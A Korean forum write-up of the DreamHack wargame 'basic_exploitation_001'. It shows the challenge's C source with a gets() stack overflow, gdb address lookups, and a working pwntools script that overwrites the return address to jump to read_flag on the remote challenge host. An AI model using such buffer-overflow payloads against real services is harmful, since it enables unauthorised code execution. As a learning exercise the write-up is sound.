연구실:System

[DreamHack워게임] basic_exploitation_001

작성자 정보

  • za9uar 작성
  • 작성일

컨텐츠 정보

본문

c662f223019395bf5a414b142a4f5117_1697814175_6336.png

 

※ 전제 조건

NX enable 외 특이사항 없음

 

-------------------------------------------- 

// 소스코드

// basic_exploitation_001.c

#include <stdio.h>

#include <stdlib.h>

#include <signal.h>

#include <unistd.h>

 

void alarm_handler() {

    puts("TIME OUT");

    exit(-1);

}

 

void initialize() {

    setvbuf(stdin, NULL, _IONBF, 0);

    setvbuf(stdout, NULL, _IONBF, 0);

 

    signal(SIGALRM, alarm_handler);

    alarm(30);

}

 

void read_flag() {

    system("cat /flag");

}

 

int main(int argc, char *argv[]) {

    char buf[0x80];

    initialize();

    gets(buf);

    return 0;

}

--------------------------------------------

 

※ 초기 분석

공격벡터는 gets(buf);로 보이고

read_flag() 함수 시작 부분으로 RTN 시키면 되는것인가?

 

buf 배열이 갖는 크기는 0x80로 10진수로는 128 bytes다.

 

※ NX enable 우회 기법 = RTL

Return To Libc(RTL)은 리턴 주소를 라이브러리 내에 존재하는 함수의 주소로 바꿔 NX bit를 우회하는 공격 기법입니다. 

 

※ 위치 찾기 

root@a0100e4f5f7f:/# gdb -q basic_exploitation_001 

pwngdb> b main

pwngdb> r aaaabbbb

pwngdb> info proc map

 

System 명령어 위치

pwndbg> p system

$1 = {int (const char *)} 0xf7dc9170 <__libc_system>

 

read_flag 함수 위치

pwndbg> p read_flag

$2 = {<text variable, no debug info>} 0x80485b9 <read_flag>

 

※ pwntool을 이용한 풀이 

-----------------------------------

from pwn import *

 

p = remote("host3.dreamhack.games", 18097)

 

payload = b"\x90"*132

payload += p32(0x80485b9)

 

p.sendline(payload)

p.interactive()

----------------------------------- 

 

※ 결과

4b9c62d786a5918954a3bb46a5911609_1697817371_524.png
 

 

관련자료

댓글 0
등록된 댓글이 없습니다.

최근글


  • 글이 없습니다.

새댓글